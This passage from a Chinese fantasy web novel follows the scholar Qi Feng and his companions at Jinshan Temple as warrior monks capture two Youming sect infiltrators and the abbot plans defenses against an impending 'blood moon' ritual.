齐枫握着手中的舍利子,只觉一股暖流顺着掌心涌入体内,就连天劫之力都像是安稳了些许。
他看着慧能大师坚定的眼神,知道自己再推辞便是矫情,便郑重地将舍利子收好,拱手道:“多谢大师信任!齐某定不负所托,妥善保管舍利子,尽力化解府城的灾劫。若日后有需要,齐某也定会护金山寺周全。”
第一百八十八章 打探实力
慧能大师欣慰地点头,双手合十道:“阿弥陀佛。施主有此心,老衲便放心了。今夜寺中恐有异动,施主回去后务必多加小心,让同伴们待在客院,不要轻易外出。幽冥教的人修炼邪功,手段狠辣,稍有不慎便会中招。”
齐枫应下,又与慧能大师寒暄了几句,便起身告辞。
走出禅房时,夜色已深,月光透过竹林洒下,在石板路上投下斑驳的影子。
齐枫摸了摸怀中的舍利子,能清晰地感受到那股温暖的力量。
回到客院时,院子里的灯还亮着。
周子陵,徐远,陈玉堂,南宫玥,柳若雪,赵明兰,楚清秋和小荷都在院子里等候。
富贵则守在门口,见齐枫回来,连忙迎了上去:“少爷,您可算回来了!我们都担心坏了!”
“齐兄,慧能大师找你说什么了?”周子陵率先围上来,眼中满是好奇,“是不是跟幽冥教的事有关?”
徐远也跟着追问:“是啊齐兄,大师有没有说怎么对付幽冥教的人?咱们接下来该怎么办?”
齐枫走到石桌旁坐下,将慧能大师关于“府城灾劫”的事简单说了一遍,唯独隐瞒了自己是“救世关键”和舍利子的部分。
他不想让众人太过依赖自己,也不想引起不必要的恐慌。
至于舍利子,这东西太过珍贵,普通人知道太多,也未免是好事。
众人听完,纷纷露出惊讶的神色。
“什么?府城还有大难?”赵明兰瞪大了眼睛,美眸中带着几分不可置信,“幽冥教到底想干什么?难道他们想攻占府城不成?”
南宫玥也担忧道:“幽冥教实力强横,咱们手无寸铁,怎么跟他们抗衡?”
柳若雪沉吟道:“慧能大师放出假消息引蛇出洞,今夜寺中必定不太平。咱们还是按照大师说的,待在客院不要外出,等官府和武僧们出手。”
周子陵点头:“说得对!咱们没有武功,出去也是添麻烦,不如待在客院,等消息就好。”
楚清秋目光扫过齐枫,眸中带着几分担忧:“少爷,你风头正劲,也要小心幽冥教。”
小荷也拉着齐枫的袖子,小声道:“是啊,少爷,树大招风,咱们也要小心一点啊!”
齐枫笑着安抚道:“大家放心,幽冥教的人应该不会太过在意我,我在怎么样,也不过就是在府城附近有点声名,再者而言,也不过就是一书生,今夜咱们待在客院,富贵会守在门口,一旦有异常,咱们立刻通知武僧和捕快。”
众人见齐枫胸有成竹,也渐渐放下心来。
周子陵,徐远,陈玉堂三人先回了房,赵明兰,南宫玥和柳若雪也结伴离去,院子里很快只剩下齐枫,楚清秋,小荷和富贵四人。
“少爷,那我也回房了,有事您喊我。”富贵拱手道。
楚清秋也牵着小荷,对齐枫道:“少爷,时辰不早了,你也早点歇息。”
小荷跟着点头:“少爷晚安!”
两人转身正要走,齐枫却忽然开口:“青禾,小荷,富贵,等一下,还有件事,我想跟你们说。”
三人停下脚步,疑惑地回头看向他。
楚清秋疑惑问道:“少爷想做什么?”
“去藏经阁看看。”齐枫缓缓开口,目光扫过三人,“慧能大师说今夜幽冥教的人会来抢舍利子,咱们躲在暗处观察,既能摸清他们的实力,也能看看金山寺的应对之策,总不能一直被动等着。”
富贵眼睛一亮,立刻附和:“少爷说得对!咱们去瞧瞧,也好知道幽冥教的人到底有什么手段!有我在,定能护住少爷和青禾姑娘,小荷姑娘!”
楚清秋却有些担忧:“可幽冥教的人修炼邪功,手段诡异,咱们贸然前去,会不会有危险?”
小荷也躲在楚清秋身后,小声道:“少爷,我有点怕……幽冥教的人会不会很凶啊?”
齐枫拍了拍小荷的头,温和道:“别怕,咱们只在暗处观察,不主动露面。富贵武功高强,我也有自保之力
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,不会让你们出事的。而且,悟空大师带着武僧们守在藏经阁附近,就算有危险,他们也会及时支援。”
他顿了顿,又道:“咱们只有摸清幽冥教的实力,才能更好地应对接下来的麻烦。若是连他们的手段都不知道,日后遇到了,只会更被动。”
楚清秋见齐枫态度坚定,又有富贵在旁护卫,便点了点头:“好,咱们去看看,但一定要小心,不能暴露行踪。”
小荷也跟着点头,小手紧紧攥着楚清秋的衣角,虽然害怕,却还是想跟着齐枫。
四人趁着夜色,沿着石板路往藏经阁方向走。
金山寺的夜晚格外安静,只有风吹过竹林的沙沙声和远处偶尔传来的诵经声,让整个寺庙都透着一股清幽又诡异的气息。
富贵走在最前面,目光警惕地扫视着四周,手中紧握着短刀,随时准备应对突发状况。
齐枫跟在中间,护着楚清秋和小荷,时不时留意着身后的动静。
楚清秋则牵着小荷,脚步轻盈,尽量不发出声音。
很快,四人便来到藏经阁附近。
藏经阁建在金山寺的最高处,红墙黄瓦,在月光下格外醒目,周围守着不少武僧,手持长棍,目光锐利地盯着四周,显然是早就做好了防备。
“咱们躲在那边的松树后面。”齐枫指了指不远处的一片松树林,那里枝叶茂密,正好能遮住四人的身影。
四人轻手轻脚地躲进松树林,透过枝叶的缝隙看向藏经阁。
只见藏经阁的大门紧闭,门口守着四名武僧。
悟空大师则站在台阶上,双手背在身后,目光如鹰,扫视着周围的动静。
时间一点点过去,夜色越来越深,就在众人快要失去耐心时,两道黑影忽然从藏经阁西侧的围墙外掠入。
动作迅捷如同鬼魅,落地时悄无声息,显然是受过专业训练的高手。
这两道黑影都穿着黑色夜行衣,脸上蒙着黑布,只露出一双双闪烁着寒光的眼睛。
第一百八十九章 诡异的秘术
他们避开巡逻的武僧,快速绕到藏经阁的后门,从怀中掏出一根细铁丝,轻轻插入锁孔。
没过片刻,“咔嗒”一声,后门被打开了。
“来了!”富贵压低声音,眼中闪过一丝警惕。
齐枫点了点头,示意众人继续观察。
只见两道黑影闪身进入藏经阁,后门缓缓关上,仿佛什么都没发生过。
没过多久,藏经阁内忽然传来一阵轻微的响动,像是有东西被挪动的声音。
紧接着,一道金光从藏经阁的窗户缝隙中透出,虽然微弱,却在夜色中格外显眼。
显然是黑影触动了慧能大师布置的机关,误以为找到了舍利子。
“不好!有埋伏!”藏经阁内传来一声惊呼,正是其中一名黑影的声音,明显有几分慌乱。
两道黑影立刻从后门冲了出来,想要逃离,却见悟空大师大手一挥,周围的武僧们立刻围了上来。
长棍交错,形成一道密不透风的棍阵,将黑影困在中间。
“幽冥教的余孽,还想跑?”悟空大师怒喝一声,声音如同洪钟大吕,春雷落地“敢在金山寺撒野,今日就让你们有来无回!”
左侧的黑影冷笑一声,声音沙哑:“不过是一群秃驴,也想拦住我们?找死!”
他猛地从怀中掏出一把短刀,刀身泛着诡异的青黑色,显然是淬了毒。
他身形一闪,刀光如电,直刺最近的一名武僧,动作快得让人眼花缭乱。
那名武僧反应极快,长棍一横,挡住短刀,“当”的一声脆响,火花四溅。
可让众人惊讶的是,短刀与长棍碰撞后,那名武僧竟浑身一颤,长棍险些脱手,脸色瞬间变得苍白,显然是中了刀上的毒。
“小心!他们的刀有毒!”悟空大师厉声提醒,手中长棍一挥,直砸向那名黑影的肩膀。
右侧的黑影见状,也掏出一把短刀,身形如同鬼魅般绕到武僧们的身后,刀光直刺武僧的后心,手段狠辣至极。
武僧们立刻调整阵型,长棍相互配合,时而格挡,时而进攻,棍阵运转得行云流水,将两名黑影死死困在中间。
可黑影们的身法太过诡异,如同没有重量般,总能在棍阵的缝隙中穿梭,时不时还能反击一两下,让武僧们防不胜防。
短短片刻,已有三名武僧中了毒,倒在地上抽搐。
躲在松树林中的小荷看得脸色发白,紧紧攥着楚清秋的手,声音都在发颤:“他们……他们好厉害……武僧们会不会打不过他们啊?”
楚清秋眉头紧锁,轻声道:“幽冥教的人果然不简单,不仅身法诡异,还在刀上淬毒,武僧们虽然人多,却未必是他们的对手。”
富贵也脸色凝重:“这两人的身法像是幽冥教的鬼影步,专门用来躲避攻击和偷袭,很难对付,而且他们的刀上淬的是化骨毒,一旦**,骨头会慢慢融化,极其歹毒!”
齐枫看着场中的打斗,缓缓道:“悟空大师的棍阵虽然厉害,却只能困住他们,很难伤到他们。而且武僧们投鼠忌器,怕中了毒,不敢贸然进攻,这样下去,迟早会被黑影找到破绽。”
“那咱们怎么办?”小荷急道,“总不能看着武僧们**吧?”
齐枫还没开口,就见场中的悟空大师猛地怒喝一声,手中长棍一甩,棍身带着呼啸的风声,直砸向左侧的黑影,显然是忍无可忍,打算亲自出手了。
那名黑影见状,眼中闪过一丝不屑,身形一侧,想要避开长棍。
可让他没想到的是,悟空大师的长棍竟在中途突然变向,棍梢如同毒蛇般缠住了他的手腕,狠狠一拽,短刀“哐当”一声掉在地上。
“什么?!”左侧的黑影惊呼一声,显然没料到悟空大师的棍法竟如此精妙。
悟空大师冷哼一声,手腕用力,长棍带着黑影的身体砸向右侧的黑影,动作快如闪电。
右侧的黑影见状,只能放弃进攻,伸手去扶同伴,可这样一来,便露出了破绽,两名武僧抓住机会,长棍直刺他们的
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胸口,眼看就要得手。
躲在松树林中的众人都屏住了呼吸,目光紧紧盯着场中的局势,不知道悟空大师这一击能不能制服两名黑影。
而就在这关键时刻,右侧的黑影忽然从怀中掏出一枚黑色的***,猛地砸在地上,黑色的烟雾瞬间弥漫开来,挡住了所有人的视线。
“不好!他们想跑!”悟空大师厉声喊道。
黑色烟雾如墨般弥漫开来,瞬间遮蔽了众人的视线。
两道黑影借着烟雾掩护,身形陡然提速,如同鬼魅般朝着藏经阁西侧的围墙掠去。
那里是武僧巡逻的薄弱点,也是他们早就规划好的退路。
“想跑?”悟空大师眼中精光一闪,手中长棍猛地往地上一顿,“砰”的一声闷响,地面竟震起细密的裂纹,一股金色气浪以他为中心扩散开来,瞬间冲散了大半烟雾。
这正是佛门绝学“佛光护体”,不仅能驱散邪祟,还能借势探查周遭动静。
“佛门狮子吼!”悟空大师紧接着张口怒喝,声音如同惊雷炸响,震得空气都在颤抖。
声波穿透剩余的烟雾,直刺两道黑影的耳膜。
左侧黑影身形一晃,脚步明显迟滞,显然是被声波震伤了内腑,右侧黑影虽强撑着继续逃窜,却也露出了一丝破绽。
“富贵,左翼!”齐枫的声音从松树林方向传来,精准预判了黑影的逃窜路线。
富贵早已蓄势待发,闻声纵身跃起,魁梧的身形在空中划出一道残影,手中短刀出鞘,寒光如流星般直取左侧黑影的后心。
这一刀又快又狠,带着江湖人特有的悍勇,逼得那黑影不得不回身格挡。
“当!”短刀与黑影手中的淬毒短刀碰撞,火花四溅。
富贵只觉一股阴寒之力顺着刀身传来,手臂瞬间泛起一层白霜,显然是中了刀上的“化骨毒”。
可他早年在江湖摸爬滚打,对毒物早有防备,当即运起内力逼退毒素,右腿如钢鞭般横扫,直踢黑影膝盖!
第一百九十章 手段齐出
黑影慌忙后跳躲避,却没料到悟空大师的长棍已如灵蛇般袭来。
棍身泛着金光,在空中凝聚出半只狮子虚影,正是“佛光狮影掌”的起手式,“狮爪探路”!
长棍直取黑影手腕,速度快得让人根本来不及反应。
“嗤啦!”金光棍影擦过黑影手腕,瞬间划开一道深可见骨的伤口,鲜血喷涌而出。
黑影手中的淬毒短刀“哐当”落地,疼得他闷哼一声,眼中闪过一丝狠厉,竟猛地从怀中掏出一把黑色粉末,朝着悟空大师撒去。
“小心!是噬魂粉!”富贵厉声提醒。
这粉末是幽冥教特制的邪物,吸入者会瞬间陷入幻境,沦为任人宰割的傀儡。
悟空大师反应极快,立刻运转“佛光护体”,金色气浪再次扩散,将噬魂粉挡在三尺之外。
可这短暂的耽搁,却给了右侧黑影机会,他趁众人注意力被吸引,身形陡然下坠,如同壁虎般贴着地面滑行,手中短刀直刺一名武僧的脚踝。
“噗嗤!”淬毒短刀轻易划破武僧的裤腿,毒素瞬间侵入经脉。
那武僧惨叫一声,腿一软跪倒在地,皮肤以肉眼可见的速度泛起青黑色,显然是中了剧毒。
“找死!”悟空大师怒不可遏,手中长棍猛地掷出,棍身带着金色狮影,如同一道流星直追右侧黑影。
这一掷蕴含了他毕生修为,金色狮影在空中凝聚成形,张开血盆大口,带着威严的佛光,竟真如一头雄狮般扑向黑影。
右侧黑影脸色骤变,连忙回身举刀格挡。
“铛!”
一声巨响,短刀瞬间被震飞,金色狮影余势不减,狠狠撞在他胸口。
黑影喷出一口黑血,身体如断线的风筝般倒飞出去,重重撞在藏经阁的红墙上,滑落时留下一道触目惊心的血痕。
可就在众人以为胜负已分时,左侧黑影突然发出一阵诡异的笑声,浑身皮肤泛起青黑色的纹路,原本受伤的手腕竟以肉眼可见的速度愈合。
“幽冥教秘术,血遁!”
他嘶吼一声,猛地将手掌按在自己胸口,鲜血瞬间喷涌而出,却并未落地,反而在他周身形成一道血色护罩。
借助血遁秘术,黑影的速度陡然提升数倍,直扑向被毒素放倒的武僧,想要抓个人质。
富贵见状,毫不犹豫地掷出短刀,刀光如电,直刺黑影后心。
可血色护罩竟坚硬如铁,短刀刺在上面只留下一道浅痕,便被弹飞出去。
“这秘术邪门得很!”富贵落地时踉跄了一下,手臂上的白霜又深了几分,“他在燃烧自身精血换力量,拖延不得!”
悟空大师也看出了端倪,双手快速结印,口中诵念佛经:“**!佛光普照!”随着他的诵念,藏经阁顶端的琉璃瓦竟泛起一层柔和的金光,无数金色光点汇聚而下,在半空中凝聚成一尊巨大的佛像虚影。
这是金山寺的镇寺绝学!
金色佛像虚影缓缓抬手,朝着左侧黑影按下。
一股无形的压力笼罩全场,黑影周身的血色护罩瞬间泛起裂纹,他惨叫一声,燃烧精血的速度陡然加快,皮肤以肉眼可见的速度干瘪下去。
“不能让他自爆!”齐枫突然出声。
他注意到黑影的右手正悄悄摸向怀中,那里应该藏着自曝的东西,一旦引爆,不仅会炸死自己,还会波及周围的武僧。
富贵会意,忍着毒素的侵蚀,纵身跃起,左掌凝聚内力,狠狠拍向黑影的右手。
“砰!”掌力与血色护罩碰撞,黑影右手一麻,爆魂丹掉落在地。
悟空大师趁机操控佛像虚影,金色手掌重重按下,血色护罩彻底破碎,黑影被按在地上,动弹不得。
另一侧,右侧黑影虽被狮影重创,却仍未放弃。
他挣扎着爬起来,口中吐出一口黑色精血,在地上画出一道诡异的符文。
“幽冥教召唤术,鬼影分身!”
随着他的嘶吼,符文亮起幽绿色的光芒,两道与他一模一样的黑影从符文中钻了出来,手持短刀,直扑向看守的武僧。
“是幻象!攻击
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本体!”楚清秋的声音从一旁传来。
她敏锐的发现,分身的脚下没有影子,显然是邪术制造的幻象。
悟空大师立刻会意,长棍一挥,金色狮影再次凝聚,直取右侧黑影本体。
那两道分身见本体受袭,立刻回身救援,却被武僧们的棍阵拦住。
棍阵运转如行云流水,长棍交错间,分身如同泡沫般消散。
右侧黑影见幻象被破,眼中闪过一丝绝望,想要再次引爆,却被及时赶到的富贵一脚踩住手腕。
“咔嚓”一声脆响,骨头断裂的声音清晰可闻,黑影惨叫一声,彻底失去了反抗之力。
至此,两名幽冥教教徒终于被制服。
武僧们上前,用特制的玄铁锁链将他们捆得结结实实。
这锁链浸泡过佛门圣水,能压制邪术之力,防止他们再次使用秘术。
齐枫,楚清秋和小荷也从松树林中走出。
小荷看着地上奄奄一息的黑影,拍着胸口道:“好险啊!他们好厉害,居然会这么多邪术!富贵大哥和悟空大师更厉害,那金色的狮子和佛像,太酷了!”
楚清秋也点了点头,眼中满是赞叹:“悟空大师的万佛朝宗果然名不虚传,佛光专克邪祟,难怪幽冥教的秘术会被压制。只是那血遁和鬼影分身太过诡异,若不是咱们人多,怕是很难制服他们。”
悟空大师喘着粗气,额角渗出细汗。
刚才连续使用绝学,对他的内力消耗极大。
他摆了摆手,示意一名武僧上前,将两道黑影脸上的黑布扯了下来。
当黑布被扯下的瞬间,所有人都愣住了。
左侧的黑影竟是个光头,头皮上还留着三道戒疤,赫然是金山寺的僧人广智!
他入寺十年,平日里负责藏经阁的清扫工作,性格沉默寡言,谁也没想到他竟是幽冥教的内奸。
右侧的黑影则是个面容普通的中年男子,正是这几日住在东跨院的香客刘三,他自称是来祈福的商人,每日除了上香就是待在客房,毫无异常。
第一百九十一章 掩耳盗铃
“广智!你……你怎能背叛佛门?”悟空大师看着广智,眼中满是痛心愤怒。
“老衲待你不薄,不仅收留你,还教你佛经佛法,你为何要勾结幽冥教,做出这等大逆不道之事?”
广智被捆在地上,却毫无悔意,反而发出一阵冷笑:“待我不薄?你不过是把我当杂役使唤!十年了,我每日扫地擦桌,连藏经阁的上层都没资格进!幽冥教能给我力量,能让我修炼邪功,能让我摆脱这低贱的身份,我为何不背叛?”
他顿了顿,眼中闪过一丝疯狂:“等幽冥教掌控了金山寺,我就是新的主持!你们这些**子,都得给我当牛做马!”
右侧的刘三也跟着狂笑起来:“没错!我们不过是先遣队,真正的高手还在山下等着!用不了多久,整个金山寺都会被邪雾笼罩,你们都会成为我们修炼噬魂夺魄功的养料!”
小荷听得脸色发白,紧紧攥着楚清秋的衣角:“他们……他们太可怕了!连寺庙里的和尚都被收买了,还有什么地方是安全的?”
楚清秋眉头紧锁,沉声道:“看来幽冥教的渗透远比我们想象的要深。广智既然在寺里待了十年,肯定摸清了金山寺的布防和密道,刘三则借着香客的身份,探查寺里的动静。他们里应外合,若不是慧能大师早有防备,后果不堪设想。”
富贵也脸色凝重:“这两人知道不少秘密,必须严加审问。说不定能从他们口中套出幽冥教的总坛位置,还有隐藏在府城的其他内奸。”
齐枫点了点头,看向悟空大师:“大师,后山的地牢最为隐秘,不如将他们关在那里,派亲信武僧看守,不许任何人接触。等明日再请慧能大师亲自审问,以大师的佛法,或许能让他们吐露实情。”
悟空大师深吸一口气,压下心中的怒火:“齐公子说得对。来人,把他们带下去,用圣水浸泡过的锁链再捆三道,不许给他们任何自尽的机会!”
两名武僧上前,拖着地上的广智和刘三,就要往后山走去。
可就在这时,广智和刘三突然停止了挣扎,反而发出一阵诡异的大笑,笑声尖锐刺耳,如同夜枭啼叫,让在场的人都感到一阵毛骨悚然。
“哈哈哈!想审问我们?你们太天真了!”广智笑得眼泪都快出来了,眼中却闪烁着疯狂的光芒。
“我们的本事,可不止这么一点!你们以为抓住了我们,就能阻止血月祭?简直是痴心妄想!”
刘三也跟着嘶吼:“血月升起之时,就是金山寺覆灭之日!你们都等着,很快就会有鬼影卫来找你们!到时候,你们都会死无全尸!”
悟空大师脸色骤变,猛地上前一步,长棍直指广智的咽喉:“血月祭?鬼影卫?这到底是什么阴谋?快说!”
广智和刘三却不再说话,只是疯狂地大笑着,嘴角甚至溢出了黑血。
看样子,他们明显在暗中服用了某种禁药,想要彻底封锁记忆。
悟空大师想要再逼问,却见两人的眼神渐渐涣散,显然是药效发作,彻底失去了意识。
悟空大师看着地上彻底昏迷的两人,心中涌起一股强烈的不安。
幽冥教一定在策划一场更大的阴谋,而这场阴谋,恐怕很快就要降临在金山寺了。
齐枫也皱起眉头,摸了摸怀中的佛心舍利子。
舍利子此刻竟微微发烫,他抬头望向夜空,云层渐渐散去,一轮残月挂在天际,月光中竟隐隐透着一丝血色。
血月,恐怕真的要来了!
夜色更浓了,藏经阁的琉璃瓦在月光下泛着冷光,所有人都站在原地,神色凝重。
从藏经阁回客院的路上,夜色已深到极致。
晚风穿过竹林,带着几分凉意,吹得人衣袂轻扬。
小荷紧紧攥着楚清秋的手,脚步有些发虚,脸上还带着刚才打斗留下的后怕。
“以前在青田县的时候,每天就是跟着少爷读书,逛街,从来不知道外面的
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世界这么危险。”小荷小声嘟囔着,小脸上带着几分委屈。
“早知道外面这么吓人,咱们还不如待在青田县,安安稳稳的多好。”
齐枫闻言,忍不住笑了笑,放缓脚步与小荷并肩:“小荷,这可不是掩耳盗铃吗?就算咱们待在青田县,危险也不会消失,袁氏的势力早晚会渗透到县城,幽冥教的余孽若想找咱们麻烦,也不会因为咱们躲在青田县就放弃。”
“掩耳盗铃?”小荷眨了眨眼睛,一脸茫然,“少爷,什么是掩耳盗铃啊?我怎么从没听过这个说法?”
齐枫这才想起,这个世界的典故与自己前世所知并不完全相同,便耐心解释道:“这是我以前在一本古书上看到的故事,从前有个人,想偷别人家的铃铛,又怕铃铛响起来被人发现,就捂住自己的耳朵,以为自己听不见,别人也听不见。结果刚一碰铃铛,就被主人抓了个正着。”
他笑了笑,语气温和:“这个故事说的就是,有些危险不是你看不见,躲着不见,就真的不存在了。就像这次幽冥教的事,就算咱们没来金山寺,他们也会兴风作浪,迟早会波及到咱们。与其躲着,不如主动面对,至少能提前做好准备。”
小荷似懂非懂地点了点头,琢磨了半晌才道:“少爷,我明白了!就像咱们以前在青田县,以为张氏的人不会找咱们麻烦,结果他们还是派人来杀少爷,原来危险一直都在,躲是躲不掉的。”
楚清秋闻言,眼中闪过一丝赞许,轻声道:“小荷说得对。这个世界从来不是看不见危险,危险就不存在,反而越是躲着,越容易在危险来临时手足无措。多出来走一走,见识一下江湖与庙堂的复杂,才能知道该如何应对未来的麻烦。”
她顿了顿,目光富有深意的扫过齐枫:“就像这次金山寺的事,咱们不仅摸清了幽冥教的手段,还知道了他们在暗中渗透的厉害,这些都是躲在青田县永远学不到的。”
第一百九十二章 要事相商
富贵走在最前面,闻言也回头附和:“青禾姑娘说得在理!我以前在江湖上见过太多这样的家族,表面上实力强悍,占着一方地盘,以为能安稳度日,可一旦得罪了像幽冥教这样的邪派,或者卷入朝堂纷争,用不了多久就会分崩离析,甚至一夜灭门。”
他叹了口气,颇带着几分感慨:“那些家族不是实力不够,而是**逸了,以为躲在自己的地盘里就安全,结果危险一来,连反应的时间都没有。咱们现在多经历些事,看似危险,实则是在为将来铺路。”
小荷听得连连点头,看向齐枫的眼神满是崇拜:“少爷,原来你带咱们出来,是为了让咱们提前适应危险啊!你想得真长远!那咱们接下来该怎么办?幽冥教还有鬼影卫,听起来好可怕,咱们能对付得了吗?”
齐枫拍了拍小荷的头,笑容从容:“小荷不用操心这些。咱们来金山寺本就是为了上香祈福,现在幽冥教的内奸已经抓到,寺里有悟空大师和武僧们守护,官府也派了人,咱们再待两天,等风头过了就回府城。至于鬼影卫,兵来将挡,水来土掩,总有应对的办法。”
他顿了顿,轻松下来:“咱们现在最重要的是好好休息,养足精神。就算真有危险,也得有精力应对不是?”
小荷这才放下心来,点了点头,脚步也轻快了许多。
楚清秋看着齐枫从容的侧脸,眼中闪过一丝复杂。
齐枫绝非表面看起来这么轻松,他只是不想让众人担心,才故意表现得云淡风轻。
很快,几人便回到了客院。
周子陵,徐远,陈玉堂等人早已睡下,南宫玥和柳若雪的房间也熄了灯,只有院门口的灯笼还亮着,映得院子里一片柔和。
“时间不早了,大家都回房休息吧。”齐枫开口道,“富贵,你守在院门口,若有异常,立刻通知我。”
“少爷放心!”富贵拱手应道。
楚清秋牵着小荷,对齐枫道:“少爷也早点歇息,别想太多。”
小荷也跟着道:“少爷晚安!”
两人转身回了房间,富贵则守在院门口,齐枫看着他们的背影,脸上的笑容渐渐淡去,转身回了自己的客房。
客房内一片寂静,只有窗外偶尔传来的虫鸣。
齐枫躺在床榻上,却没有丝毫睡意,脑海里不由自主地想起穿越到这个世界后的种种经历。
从最初在青田县当个纨绔子弟,到意外卷入袁氏与官府的纷争,再到遇到楚清秋,收服段飞,与幽冥教周旋……
这一路走来,似乎总有各种麻烦找上门,让他想安安稳稳过日子都难。
“本以为穿越过来,能避开前世渡天劫失败的遗憾,安安稳稳潇洒当个纨绔过一辈子,没想到还是卷入了这么多事。”
齐枫自嘲地笑了笑,不自觉地摩挲着怀中的佛心舍利子。舍利子散发着温暖的气息,让他纷乱的思绪渐渐平静。
前世自己乃是即将渡天劫的武道大能,举手投足便能翻江倒海,俯瞰众生,却没想到在最后一步功亏一篑。
原以为魂飞魄散是结局,却没想到会穿越到这个异世,他发现这个世界并不简单,也会有危机四伏。
“罢了,既然卷入了,就走一步看一步。”齐枫缓缓闭上眼睛,“前世能走到武道巅峰,这一世就算从头再来,也未必不能闯出一片天地。幽冥教也好,袁氏也罢,若真敢挡我的路,便让他们尝尝天劫残力的厉害。”
带着这份思绪,齐枫渐渐进入梦乡。
这一夜,他睡得格外安稳,仿佛体内的天劫残力与佛心舍利子相互呼应,形成了一种奇妙的平衡,驱散了所有的疲惫。
翌日清晨,天刚蒙蒙亮,院外便传来一阵轻微的敲门声。
“齐施主,打扰了。”门外传来一名小和尚的声音,正是昨日邀请齐枫见慧能大师的那位,“我家师父请您过去一趟,说有要事相商。”
齐枫猛地睁开眼,心中泛起一丝疑惑。
慧能大
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师昨日刚将佛心舍利子交给自己,今日又找自己,难道是关于幽冥教的“血月祭”和“鬼影卫”有了新的线索?
他迅速起身,整理好衣衫,打开房门。
小和尚双手合十,恭敬地站在门外,脸上带着几分凝重:“齐施主,师父说此事紧急,还请您随我尽快过去。”
齐枫点了点头,对院门口的富贵道:“我去去就回,你守好院子,不要让任何人擅自离开。”
富贵连忙点头:“少爷放心!”
齐枫跟着小和尚走出客院,清晨的阳光刚刚洒在金山寺的金顶上,折射出耀眼的光芒。
小和尚走得很快,脚步有些急促,显然是真的有急事。
齐枫跟在后面,眉头微皱。
慧能大师到底有什么紧急的事,要在这么早找自己?
两人沿着石板路往藏经阁方向走,路上遇到不少忙碌的武僧,他们脸上都带着凝重的神色,显然是也知道了什么不好的消息。
齐枫心中的预感越来越强烈,加快脚步,跟着小和尚往慧能大师的禅房走去。
禅房内的檀香依旧袅袅,慧能大师端坐于蒲团之上,神色比昨日多了几分凝重。
见齐枫进来,他抬手示意:“施主来了,坐。”
齐枫在对面蒲团落座,目光扫过桌上的茶盏。
茶水尚温,显然大师已等候片刻。
他开门见山:“大师今日急着找齐某,可是关于幽冥教的事有了新线索?”
慧能大师点头,叹了口气:“老衲用佛门清心咒试过广智和刘三,虽逼他们吐露出一些信息,却发现他们的深层记忆已被幽冥教的秘术抹除,只知他们口中的血月祭,是幽冥教为提升邪功威力举办的仪式,需以千人精血为引,而祭典的核心地点,极可能就在府城附近。”
“千人精血?”齐枫眉头一沉,“幽冥教竟如此丧心病狂!他们选定的祭典地点,可有线索?”
“线索不多。”慧能大师摇头,脸色凝重。
第一百九十三章 八卦聚佛阵
慧能大师继续道:“老衲只从他们零碎的记忆中得知,祭典需在聚阴之地举行,府城以西的乱葬岗,废弃古宅都有可能。但具体是哪一处,还需进一步探查。”
他顿了顿,脸色凝重:“更棘手的是鬼影卫,据广智残存的记忆,鬼影卫是幽冥教培养的死士,共十二人,个个修炼鬼影噬魂功,能隐匿身形,**于无形。他们已潜入金山寺附近,恐怕不日便会有所行动。”
齐枫心中一凛,难怪大师如此急切。
鬼影卫若真如描述般诡异,金山寺的武僧虽多,却未必能防住偷袭。
他沉吟片刻,忽然起身:“大师,齐某或许有一法,可助金山寺抵御鬼影卫。”
慧能大师眼中闪过一丝希冀:“施主有何妙计?”
齐枫走到桌旁,拿起纸笔,笔尖蘸墨,迅速在纸上勾勒起来。
他画的是一幅阵法图,线条繁复却井然有序,中央是一座佛像图案,四周标注着八处阵眼。
分别对应“乾,坤,震,巽,坎,离,艮,兑”八卦方位,阵眼之间以金线相连,形成一个闭合的圆环。
“此乃八卦聚佛阵。”齐枫指着图纸解释,“以佛门圣物为阵眼核心,辅以八名精通佛法的武僧,按照八卦方位布阵。此阵能汇聚佛光,形成结界,不仅能抵御邪祟,还能在鬼影卫靠近时触发警示,让他们无所遁形。”
他顿了顿,补充道:“若在阵眼处放置高僧的佛珠,经卷等圣物,佛光威力还能再增三成。鬼影卫修炼的邪功最怕佛光,此阵一出,他们的隐匿之术便会大打折扣,实力也会被压制。”
慧能大师凑近图纸,目光越看越亮,双手不自觉地合十:“阿弥陀佛!此阵精妙绝伦,蕴含八卦之理与佛门奥义,老衲从未见过如此精妙的阵法!施主竟还精通奇门遁甲之术,真是深藏不露!”
“大师过誉了。”齐枫放下笔,笑得从容,“齐某不过是偶然在书院的古书中见过一些阵法记载,又结合金山寺的佛光特性稍作修改,算不得什么高深学问。一法通,万法通,触类旁通罢了。”
这话虽是自谦,却更显底蕴。
能将古籍记载与实际情况结合,创造出专克邪祟的阵法,绝非“偶然”二字能概括。
慧能大师看着齐枫,眼中的敬佩更甚:“施主这等天赋,若生于佛门,定能成为一代高僧。可惜……”
他话未说完,却也不必多言。
齐枫的志向显然不在佛门,而在庙堂与江湖之间。
两人又聊了片刻,慧能大师提及金山寺的决定:“经此事后,老衲打算让金山寺四门紧闭,暂停接待香客。一来是为了防备鬼影卫偷袭,二来也是怕无辜香客卷入纷争,遭了毒手。施主今日便可下山,迟则恐生变故。”
齐枫点头:“大师考虑周全。齐某也正有此意,待与同伴们汇合,便即刻启程回府城。府城那边,也需提前防备幽冥教的血月祭。”
“善。”慧能大师双手合十,“老衲已让人备好干粮和防身的护身符,施主带在路上,或许能派上用场。”
齐枫谢过大师,接过小和尚递来的包裹,转身离开禅房。
晨光已洒满金山寺,武僧们正忙着布置防御,有的擦拭长棍,有的搬运佛门圣物,显然是在为抵御鬼影卫做准备。
齐枫看着这一幕,心中稍安,有“八卦聚佛阵”和武僧们的防备,金山寺应能守住。
回到客院时,周子陵,徐远,陈玉堂,南宫玥,柳若雪,赵明兰,楚清秋和小荷早已等候在院子里。
见齐枫回来,众人立刻围了上来。
“齐兄,慧能大师找你说什么了?是不是幽冥教的事有新消息?”周子陵率先问道,眼中满是好奇。
徐远也跟着追问:“是啊齐兄,咱们什么时候能回府城?这金山寺虽好,可出了命案,总觉得不安全。”
齐枫走到石桌旁坐下,将慧能大师的话简要复述了一遍,唯独隐瞒了“八卦聚佛阵”是自己所创的事,只说是大师自有妙计。
“什么?幽冥教还要搞血月祭
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?还要用千人精血?”赵明兰瞪大了眼睛,眸子里满是不可置信,“这群疯子!官府怎么还不派兵剿灭他们?”
南宫玥也担忧道:“府城若真成了祭典地点,后果不堪设想。咱们得尽快回去,通知赵大人和卢大人提前防备。”
柳若雪点头:“慧能大师说金山寺今日四门紧闭,也是怕再出意外。咱们确实该走了,待在这里不仅帮不上忙,还可能给寺里添乱。”
楚清秋看着齐枫,轻声道:“少爷,咱们何时启程?”
